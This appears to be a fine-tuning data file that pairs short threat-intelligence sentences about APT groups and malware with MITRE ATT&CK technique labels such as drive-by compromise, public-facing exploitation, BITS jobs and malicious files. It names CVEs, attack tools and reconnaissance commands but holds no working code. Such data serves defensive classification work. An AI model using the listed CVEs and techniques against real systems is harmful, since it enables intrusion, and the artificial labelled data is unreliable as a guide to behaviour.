"APT37 has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.",['T1189 - Drive-by Compromise'],fine_tune
APT38 has conducted watering holes schemes to gain initial access to victims.,['T1189 - Drive-by Compromise'],fine_tune
"Andariel has used watering hole attacks, often with zero-day exploits, to gain initial access to victims within a specific IP range.",['T1189 - Drive-by Compromise'],fine_tune
Axiom has used watering hole attacks to gain access.,['T1189 - Drive-by Compromise'],fine_tune
BRONZE BUTLER compromised three Japanese websites using a Flash exploit to perform watering hole attacks.,['T1189 - Drive-by Compromise'],fine_tune
Bundlore has been spread through malicious advertisements on websites.,['T1189 - Drive-by Compromise'],fine_tune
Dark Caracal leveraged a watering hole to serve up malicious code.,['T1189 - Drive-by Compromise'],fine_tune
Darkhotel used embedded iframes on hotel login portals to redirect selected victims to download malware.,['T1189 - Drive-by Compromise'],fine_tune
Dragonfly 2.0 compromised legitimate organizations' websites to create watering holes to compromise victims.,['T1189 - Drive-by Compromise'],fine_tune
Dragonfly has compromised targets via strategic web compromise (SWC) utilizing a custom exploit kit.,['T1189 - Drive-by Compromise'],fine_tune
"During Operation Dust Storm, the threat actors used a watering hole attack on a popular software reseller to exploit the then-zero-day Internet Explorer vulnerability CVE-2014-0322.",['T1189 - Drive-by Compromise'],fine_tune
Earth Lusca has performed watering hole attacks.,['T1189 - Drive-by Compromise'],fine_tune
Elderwood has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.,['T1189 - Drive-by Compromise'],fine_tune
Grandoreiro has used compromised websites and Google Ads to bait victims into downloading its installer.,['T1189 - Drive-by Compromise'],fine_tune
"KARAE was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.",['T1189 - Drive-by Compromise'],fine_tune
Lazarus Group delivered RATANKBA and other malicious code to victims via a compromised legitimate website.,['T1189 - Drive-by Compromise'],fine_tune
Leafminer has infected victims using watering holes.,['T1189 - Drive-by Compromise'],fine_tune
Leviathan has infected victims using watering holes.,['T1189 - Drive-by Compromise'],fine_tune
LoudMiner is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.,['T1189 - Drive-by Compromise'],fine_tune
Machete has distributed Machete through a fake blog website.,['T1189 - Drive-by Compromise'],fine_tune
Magic Hound has conducted watering-hole attacks through media and magazine websites.,['T1189 - Drive-by Compromise'],fine_tune
PLATINUM has sometimes used drive-by attacks against vulnerable browser plugins.,['T1189 - Drive-by Compromise'],fine_tune
POORAIM has been delivered through compromised sites acting as watering holes.,['T1189 - Drive-by Compromise'],fine_tune
Patchwork has used watering holes to deliver files with exploits to initial victims.,['T1189 - Drive-by Compromise'],fine_tune
REvil has infected victim machines through compromised websites and exploit kits.,['T1189 - Drive-by Compromise'],fine_tune
Threat Group-3390 has extensively used strategic web compromises to target victims.,['T1189 - Drive-by Compromise'],fine_tune
Turla has infected victims using watering holes.,['T1189 - Drive-by Compromise'],fine_tune
Windigo has distributed Windows malware via drive-by downloads.,['T1189 - Drive-by Compromise'],fine_tune
Windshift has used compromised websites to register custom URL schemes on a remote system.,['T1189 - Drive-by Compromise'],fine_tune
"APT28 has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites.",['T1190 - Exploit Public-Facing Application'],fine_tune
"APT29 has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access. They have also exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.",['T1190 - Exploit Public-Facing Application'],fine_tune
APT39 has used SQL injection for initial compromise.,['T1190 - Exploit Public-Facing Application'],fine_tune
"APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices.",['T1190 - Exploit Public-Facing Application'],fine_tune
Axiom has been observed using SQL injection to gain access to systems.,['T1190 - Exploit Public-Facing Application'],fine_tune
"BackdoorDiplomacy has exploited CVE-2020-5902, an F5 BIP-IP vulnerability, to drop a Linux backdoor. BackdoorDiplomacy has also exploited mis-configured Plesk servers.",['T1190 - Exploit Public-Facing Application'],fine_tune
"BlackTech has exploited a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0, CVE-2017-7269, in order to establish a new HTTP or command and control (C2) server.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Dragonfly has conducted SQL injection attacks, exploited vulnerabilities CVE-2019-19781 and CVE-2020-0688 for Citrix and MS Exchange, and CVE-2018-13379 for Fortinet VPNs.",['T1190 - Exploit Public-Facing Application'],fine_tune
"During Operation CuckooBees, the threat actors exploited multiple vulnerabilities in externally facing servers.",['T1190 - Exploit Public-Facing Application'],fine_tune
"During Operation Wocao, threat actors gained initial access by exploiting vulnerabilities in JBoss webservers.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Earth Lusca has compromised victims by directly exploiting vulnerabilities of public-facing servers, including those associated with Microsoft Exchange and Oracle GlassFish.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Fox Kitten has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.",['T1190 - Exploit Public-Facing Application'],fine_tune
"HAFNIUM has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065  to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware.",['T1190 - Exploit Public-Facing Application'],fine_tune
Havij is used to automate SQL injection.,['T1190 - Exploit Public-Facing Application'],fine_tune
"Ke3chang has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Kimsuky has exploited various vulnerabilities for initial access, including Microsoft Exchange vulnerability CVE-2020-0688.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Magic Hound has used open-source JNDI exploit kits to exploit Log4j (CVE-2021-44228) and has exploited ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) on MS Exchange servers.",['T1190 - Exploit Public-Facing Application'],fine_tune
MuddyWater has exploited the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).,['T1190 - Exploit Public-Facing Application'],fine_tune
Operation Wocao has gained initial access via vulnerable webservers.,['T1190 - Exploit Public-Facing Application'],fine_tune
"Rocke exploited Apache Struts, Oracle WebLogic (CVE-2017-10271), and Adobe ColdFusion (CVE-2017-3066) vulnerabilities to deliver malware.",['T1190 - Exploit Public-Facing Application'],fine_tune
SoreFang can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries.,['T1190 - Exploit Public-Facing Application'],fine_tune
"Threat Group-3390 has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Volatile Cedar has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.",['T1190 - Exploit Public-Facing Application'],fine_tune
menuPass has leveraged vulnerabilities in Pulse Secure VPNs to hijack sessions.,['T1190 - Exploit Public-Facing Application'],fine_tune
sqlmap can be used to automate exploitation of SQL injection vulnerabilities.,['T1190 - Exploit Public-Facing Application'],fine_tune
Elderwood has targeted manufacturers in the supply chain for the defense industry.,['T1195 - Supply Chain Compromise'],fine_tune
"NotPetya's initial infection vector for the June 27, 2017 compromise was a backdoor in the Ukrainian tax accounting software M.E.Doc.",['T1195 - Supply Chain Compromise'],fine_tune
Smoke Loader was distributed through a compromised update to a Tor client with a coin miner payload.,['T1195 - Supply Chain Compromise'],fine_tune
"XCSSET adds malicious code to a host's Xcode projects by enumerating CocoaPods ""target_integrator.rb"" files under the ""/Library/Ruby/Gems"" folder or enumerates all "".xcodeproj"" folders under a given directory. XCSSET then downloads a script and Mach-O file into the Xcode project folder.",['T1195.001 - Compromise Software Dependencies and Development Tools'],fine_tune
APT29 gained initial network access to some victims via a trojanized update of SolarWinds Orion software.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
"APT41 gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.",['T1195.002 - Compromise Software Supply Chain'],fine_tune
Cobalt Group has compromised legitimate web browser updates to deliver a backdoor.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
Dragonfly has placed trojanized installers for control system software on legitimate vendor app stores.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
GOLD SOUTHFIELD has distributed ransomware by backdooring software installers via a strategic web compromise of the site hosting Italian WinRAR.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
Gelsemium has compromised software supply chains to gain access to victims.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
GoldenSpy has been packaged with a legitimate tax preparation software.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
SUNSPOT malware was designed and used to insert SUNBURST into software builds of the SolarWinds Orion IT management product.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
Sandworm Team has distributed NotPetya by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
Threat Group-3390 has compromised the Able Desktop installer to gain access to victim's environments.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
A JPIN variant downloads the backdoor payload via the BITS service.,['T1197 - BITS Jobs'],fine_tune
APT39 has used the BITS protocol to exfiltrate stolen data from a compromised host.,['T1197 - BITS Jobs'],fine_tune
BITSAdmin can be used to create BITS Jobs to launch a malicious process.,['T1197 - BITS Jobs'],fine_tune
"Cobalt Strike can download a hosted ""beacon"" payload using BITSAdmin.",['T1197 - BITS Jobs'],fine_tune
Egregor has used BITSadmin to download and execute malicious DLLs.,['T1197 - BITS Jobs'],fine_tune
Leviathan has used BITSAdmin to download additional tools.,['T1197 - BITS Jobs'],fine_tune
MarkiRAT can use BITS Utility to connect with the C2 server.,['T1197 - BITS Jobs'],fine_tune
Patchwork has used BITS jobs to download malicious payloads.,['T1197 - BITS Jobs'],fine_tune
ProLock can use BITS jobs to download its malicious payload.,['T1197 - BITS Jobs'],fine_tune
UBoatRAT takes advantage of the /SetNotifyCmdLine option in BITSAdmin to ensure it stays running on a system to maintain persistence.,['T1197 - BITS Jobs'],fine_tune
"APT29 has gained access through compromised accounts at cloud solution partners, and used compromised certificates issued by Mimecast to authenticate to Mimecast customer systems.",['T1199 - Trusted Relationship'],fine_tune
GOLD SOUTHFIELD has breached Managed Service Providers (MSP's) to deliver malware to MSP customers.,['T1199 - Trusted Relationship'],fine_tune
LAPSUS$ has accessed internet-facing identity providers such as Azure Active Directory and Okta to target specific organizations.,['T1199 - Trusted Relationship'],fine_tune
"Once APT28 gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.",['T1199 - Trusted Relationship'],fine_tune
POLONIUM has used compromised credentials from an IT company to target downstream customers including a law firm and aviation company.,['T1199 - Trusted Relationship'],fine_tune
Sandworm Team has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization.,['T1199 - Trusted Relationship'],fine_tune
"APT34 has used net.exe in a script with ""net accounts /domain"" to find the password policy of a domain.",['T1201 - Password Policy Discovery'],fine_tune
BloodHound can collect password policy information on the target environment.,['T1201 - Password Policy Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `net accounts` command as part of their advanced reconnaissance.",['T1201 - Password Policy Discovery'],fine_tune
"Kwampirs collects password policy information with the command ""net accounts"".",['T1201 - Password Policy Discovery'],fine_tune
"OilRig has used net.exe in a script with ""net accounts /domain"" to find the password policy of a domain.",['T1201 - Password Policy Discovery'],fine_tune
"The ""net accounts"" and ""net accounts /domain"" commands with Net can be used to obtain password policy information.",['T1201 - Password Policy Discovery'],fine_tune
"Turla has used ""net accounts"" and ""net accounts /domain"" to acquire password policy information.",['T1201 - Password Policy Discovery'],fine_tune
Forfiles can be used to subvert controls and possibly conceal command execution by not directly invoking cmd.,['T1202 - Indirect Command Execution'],fine_tune
"Lazarus Group persistence mechanisms have used ""forfiles.exe"" to execute .htm files.",['T1202 - Indirect Command Execution'],fine_tune
"APT12 has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611).",['T1203 - Exploitation for Client Execution'],fine_tune
APT28 has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
"APT29 has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution.",['T1203 - Exploitation for Client Execution'],fine_tune
APT3 has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776.,['T1203 - Exploitation for Client Execution'],fine_tune
APT32 has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882),['T1203 - Exploitation for Client Execution'],fine_tune
"APT33 has attempted to exploit a known vulnerability in WinRAR (CVE-2018-20250), and attempted to gain remote code execution via a security bypass vulnerability (CVE-2017-11774).",['T1203 - Exploitation for Client Execution'],fine_tune
"APT37 has used exploits for Flash Player (CVE-2016-4117, CVE-2018-4878), Word (CVE-2017-0199), Internet Explorer (CVE-2020-1380 and CVE-2020-26411), and Microsoft Edge (CVE-2021-26411) for execution.",['T1203 - Exploitation for Client Execution'],fine_tune
"APT41 leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396.",['T1203 - Exploitation for Client Execution'],fine_tune
Agent Tesla exploits CVE-2017-11882 in Microsoft’s Equation Editor to execute a process.,['T1203 - Exploitation for Client Execution'],fine_tune
Agent Tesla has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery.,['T1203 - Exploitation for Client Execution'],fine_tune
Aoqin Dragon has exploited CVE-2012-0158 and CVE-2010-3333 for execution against targeted systems.,['T1203 - Exploitation for Client Execution'],fine_tune
"Axiom has used exploits for multiple vulnerabilities including CVE-2014-0322, CVE-2012-4792, CVE-2012-1889, and CVE-2013-3893.",['T1203 - Exploitation for Client Execution'],fine_tune
"BITTER has exploited Microsoft Office vulnerabilities CVE-2012-0158, CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802.",['T1203 - Exploitation for Client Execution'],fine_tune
"BRONZE BUTLER has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.",['T1203 - Exploitation for Client Execution'],fine_tune
Bankshot leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.,['T1203 - Exploitation for Client Execution'],fine_tune
"Cobalt Strike can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.",['T1203 - Exploitation for Client Execution'],fine_tune
"Confucius has exploited Microsoft Office vulnerabilities, including CVE-2015-1641, CVE-2017-11882, and CVE-2018-0802.",['T1203 - Exploitation for Client Execution'],fine_tune
Dragonfly has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system.,['T1203 - Exploitation for Client Execution'],fine_tune
"During Frankenstein, the threat actors exploited CVE-2017-11882 to execute code on the victim's machine.",['T1203 - Exploitation for Client Execution'],fine_tune
"During Operation Dust Storm, the threat actors exploited Adobe Flash vulnerability CVE-2011-0611, Microsoft Windows Help vulnerability CVE-2010-1885, and several Internet Explorer vulnerabilities, including CVE-2011-1255, CVE-2012-1889, and CVE-2014-0322.",['T1203 - Exploitation for Client Execution'],fine_tune
EXOTIC LILY has used malicious documents containing exploits for CVE-2021-40444 affecting Microsoft MSHTML.,['T1203 - Exploitation for Client Execution'],fine_tune
"Elderwood has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.",['T1203 - Exploitation for Client Execution'],fine_tune
Ember Bear has exploited Microsoft Office vulnerability CVE-2017-11882.,['T1203 - Exploitation for Client Execution'],fine_tune
"EvilBunny has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.",['T1203 - Exploitation for Client Execution'],fine_tune
"Inception has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution.",['T1203 - Exploitation for Client Execution'],fine_tune
InvisiMole has installed legitimate but vulnerable Total Video Player software and wdigest.dll library drivers on compromised hosts to exploit stack overflow and input validation vulnerabilities for code execution.,['T1203 - Exploitation for Client Execution'],fine_tune
KeyBoy exploits the vulnerability CVE-2012-0158 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
Lazarus Group has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
"Leviathan has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.",['T1203 - Exploitation for Client Execution'],fine_tune
MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
"Patchwork uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, CVE-2017-11882, and CVE-2015-1641.",['T1203 - Exploitation for Client Execution'],fine_tune
"Ramsay has been embedded in documents exploiting CVE-2017-0199, CVE-2017-11882, and CVE-2017-8570.",['T1203 - Exploitation for Client Execution'],fine_tune
SUPERNOVA was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).,['T1203 - Exploitation for Client Execution'],fine_tune
Sandworm Team has exploited vulnerabilities in Microsoft PowerPoint via OLE objects (CVE-2014-4114) and Microsoft Word via crafted TIFF images (CVE-2013-3906).,['T1203 - Exploitation for Client Execution'],fine_tune
"SpeakUp attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop YARN ResourceManager.",['T1203 - Exploitation for Client Execution'],fine_tune
The White Company has taken advantage of a known vulnerability in Microsoft Word (CVE 2012-0158) to execute code.,['T1203 - Exploitation for Client Execution'],fine_tune
Threat Group-3390 has exploited CVE-2018-0798 in Equation Editor.,['T1203 - Exploitation for Client Execution'],fine_tune
"Tonto Team has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads.",['T1203 - Exploitation for Client Execution'],fine_tune
Transparent Tribe has crafted malicious files to exploit CVE-2012-0158 and CVE-2010-3333 for execution.,['T1203 - Exploitation for Client Execution'],fine_tune
"Tropic Trooper has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.",['T1203 - Exploitation for Client Execution'],fine_tune
"admin@338 has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.",['T1203 - Exploitation for Client Execution'],fine_tune
"LAPSUS$ has recruited target organization employees or contractors who provide credentials and approve an associated MFA prompt, or install remote management software onto a corporate workstation, allowing LAPSUS$ to take control of an authenticated system.",['T1204 - User Execution'],fine_tune
Magic Hound has attempted to get users to execute malware via social media and spearphishing emails.,['T1204 - User Execution'],fine_tune
APT29 has used various forms of spearphishing attempting to get a user to click on a malicous link.,['T1204.001 - Malicious Link'],fine_tune
APT32 has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.,['T1204.001 - Malicious Link'],fine_tune
APT33 has lured users to click links to malicious HTML applications delivered via spearphishing emails.,['T1204.001 - Malicious Link'],fine_tune
APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious link.,['T1204.001 - Malicious Link'],fine_tune
Bazar can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs.,['T1204.001 - Malicious Link'],fine_tune
Cobalt Group has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine.,['T1204.001 - Malicious Link'],fine_tune
Dragonfly 2.0 has used various forms of spearphishing in attempts to get users to open links.,['T1204.001 - Malicious Link'],fine_tune
"During Night Dragon, threat actors enticed users to click on links in spearphishing emails to download malware.",['T1204.001 - Malicious Link'],fine_tune
"During Operation Spalax, the threat actors relied on a victim to click on a malicious link distributed via phishing emails.",['T1204.001 - Malicious Link'],fine_tune
EXOTIC LILY has used malicious links to lure users into executing malicious payloads.,['T1204.001 - Malicious Link'],fine_tune
Earth Lusca  has sent spearphishing emails that required the user to click on a malicious link and subsequently open a decoy document with a malicious loader.,['T1204.001 - Malicious Link'],fine_tune
Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open links.,['T1204.001 - Malicious Link'],fine_tune
FIN4 has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts).,['T1204.001 - Malicious Link'],fine_tune
FIN7 has used malicious links to lure victims into downloading malware.,['T1204.001 - Malicious Link'],fine_tune
Grandoreiro has used malicious links to gain execution on victim machines.,['T1204.001 - Malicious Link'],fine_tune
Hancitor has relied upon users clicking on a malicious link delivered through phishing.,['T1204.001 - Malicious Link'],fine_tune
Javali has achieved execution through victims clicking links to malicious websites.,['T1204.001 - Malicious Link'],fine_tune
KOCTOPUS has relied on victims clicking on a malicious link delivered via email.,['T1204.001 - Malicious Link'],fine_tune
Kerrdown has gained execution through victims opening malicious links.,['T1204.001 - Malicious Link'],fine_tune
Kimsuky has lured victims into clicking malicious links.,['T1204.001 - Malicious Link'],fine_tune
Lazarus Group has sent spearphishing emails in an attempt to lure users to click on a malicious link.,['T1204.001 - Malicious Link'],fine_tune
LazyScripter has relied upon users clicking on links to malicious files.,['T1204.001 - Malicious Link'],fine_tune
Leviathan has sent spearphishing email links attempting to get a user to click.,['T1204.001 - Malicious Link'],fine_tune
Magic Hound has attempted to lure victims into opening malicious links embedded in emails.,['T1204.001 - Malicious Link'],fine_tune
Melcoz has gained execution through victims opening malicious links.,['T1204.001 - Malicious Link'],fine_tune
Mofang's spearphishing emails required a user to click the link to connect to a compromised website.,['T1204.001 - Malicious Link'],fine_tune
MuddyWater has distributed URLs in phishing e-mails that link to lure documents.,['T1204.001 - Malicious Link'],fine_tune
Mustang Panda has sent malicious links including links directing victims to a Google Drive folder.,['T1204.001 - Malicious Link'],fine_tune
NETWIRE has been executed through convincing victims into clicking malicious links.,['T1204.001 - Malicious Link'],fine_tune
ObliqueRAT has gained execution on targeted systems through luring users to click on links to malicious URLs.,['T1204.001 - Malicious Link'],fine_tune
OilRig has delivered malicious links to achieve execution on the target system.,['T1204.001 - Malicious Link'],fine_tune
OutSteel has relied on a user to click a malicious link within a spearphishing email.,['T1204.001 - Malicious Link'],fine_tune
PLEAD has been executed via malicious links in e-mails.,['T1204.001 - Malicious Link'],fine_tune
QakBot has gained execution through users opening malicious links.,['T1204.001 - Malicious Link'],fine_tune
SMOKEDHAM has relied upon users clicking on a malicious link delivered through phishing.,['T1204.001 - Malicious Link'],fine_tune
Sandworm Team has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.,['T1204.001 - Malicious Link'],fine_tune
Sidewinder has lured targets to click on malicious links to gain execution in the target environment.,['T1204.001 - Malicious Link'],fine_tune
SpicyOmelette has been executed through malicious links within spearphishing emails.,['T1204.001 - Malicious Link'],fine_tune
Squirrelwaffle has relied on victims to click on a malicious link send via phishing campaigns.,['T1204.001 - Malicious Link'],fine_tune
"TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.",['T1204.001 - Malicious Link'],fine_tune
Transparent Tribe has directed users to open URLs hosting malicious content.,['T1204.001 - Malicious Link'],fine_tune
Turla has used spearphishing via a link to get users to download and run their malware.,['T1204.001 - Malicious Link'],fine_tune
Windshift has used links embedded in e-mails to lure victims into executing malicious code.,['T1204.001 - Malicious Link'],fine_tune
Wizard Spider has lured victims into clicking a malicious link delivered through spearphishing.,['T1204.001 - Malicious Link'],fine_tune
ZIRCONIUM has used malicious links in e-mails to lure victims into downloading malware.,['T1204.001 - Malicious Link'],fine_tune
A Word document delivering TYPEFRAME prompts the user to enable macro execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
APT-C-36 has prompted victims to accept macros in order to execute the subsequent payload.,['T1204.002 - User Execution: Malicious File'],fine_tune
APT28 attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.,['T1204.002 - User Execution: Malicious File'],fine_tune
"APT29 has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files.",['T1204.002 - User Execution: Malicious File'],fine_tune
APT30 has relied on users to execute malicious file attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
APT32 has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.,['T1204.002 - User Execution: Malicious File'],fine_tune
APT37 has sent spearphishing attachments attempting to get a user to open them.,['T1204.002 - User Execution: Malicious File'],fine_tune
APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious attachment.,['T1204.002 - User Execution: Malicious File'],fine_tune
Ajax Security Team has lured victims into executing malicious files.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Aoqin Dragon has lured victims into opening weaponized documents, fake external drives, and fake antivirus to execute malicious payloads.",['T1204.002 - User Execution: Malicious File'],fine_tune
AppleJeus has required user execution of a malicious MSI installer.,['T1204.002 - User Execution: Malicious File'],fine_tune
AppleSeed can achieve execution through users running malicious file attachments distributed via email.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Astaroth has used malicious files including VBS, LNK, and HTML for execution.",['T1204.002 - User Execution: Malicious File'],fine_tune
BITTER has attempted to lure victims into opening malicious attachments delivered via spearphishing.,['T1204.002 - User Execution: Malicious File'],fine_tune
BLINDINGCAN has lured victims into executing malicious macros embedded within Microsoft Office documents.,['T1204.002 - User Execution: Malicious File'],fine_tune
BRONZE BUTLER has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
Bad Rabbit has been executed through user installation of an executable disguised as a flash installer.,['T1204.002 - User Execution: Malicious File'],fine_tune
Bisonal has relied on users to execute malicious file attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
BlackTech has used e-mails with malicious documents to lure victims into installing malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
BoomBox has gained execution through user interaction with a malicious file.,['T1204.002 - User Execution: Malicious File'],fine_tune
Bumblebee has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs.,['T1204.002 - User Execution: Malicious File'],fine_tune
Bundlore has attempted to get users to execute a malicious .app file that looks like a Flash Player update.,['T1204.002 - User Execution: Malicious File'],fine_tune
CARROTBALL has been executed through users being lured into opening malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
CSPY Downloader has been delivered via malicious documents with embedded macros.,['T1204.002 - User Execution: Malicious File'],fine_tune
Clambling has gained execution through luring victims into opening malicious files.,['T1204.002 - User Execution: Malicious File'],fine_tune
Cobalt Group has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine.,['T1204.002 - User Execution: Malicious File'],fine_tune
DanBot has relied on victims' opening a malicious file for initial execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Dark Caracal makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.",['T1204.002 - User Execution: Malicious File'],fine_tune
DnsSystem has lured victims into opening macro-enabled Word documents for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
Dragonfly has used various forms of spearphishing in attempts to get users to open malicious attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
"During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email.",['T1204.002 - User Execution: Malicious File'],fine_tune
"During Operation Dust Storm, the threat actors relied on potential victims to open a malicious Microsoft Word document sent via email.",['T1204.002 - User Execution: Malicious File'],fine_tune
"During Operation Sharpshooter, the threat actors relied on victims executing malicious Microsoft Word or PDF files.",['T1204.002 - User Execution: Malicious File'],fine_tune
"During Operation Spalax, the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware.",['T1204.002 - User Execution: Malicious File'],fine_tune
"EXOTIC LILY has gained execution through victims clicking on malicious LNK files contained within ISO files, which can execute hidden DLLs within the ISO.",['T1204.002 - User Execution: Malicious File'],fine_tune
Earth Lusca required users to click on a malicious file for the loader to activate.,['T1204.002 - User Execution: Malicious File'],fine_tune
Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
Ember Bear has attempted to lure victims into executing malicious files.,['T1204.002 - User Execution: Malicious File'],fine_tune
Emotet has relied upon users clicking on a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],fine_tune
FIN4 has lured victims to launch malicious attachments delivered via spearphishing emails (often sent from compromised accounts).,['T1204.002 - User Execution: Malicious File'],fine_tune
FIN7 lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.,['T1204.002 - User Execution: Malicious File'],fine_tune
FIN8 has used malicious e-mail attachments to lure victims into executing malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
Ferocious Kitten has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Frankenstein has used trojanized Microsoft Word documents sent via email, which prompted the victim to enable macros.",['T1204.002 - User Execution: Malicious File'],fine_tune
Gallmaker sent victims a lure document with a warning that asked victims to “enable content” for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
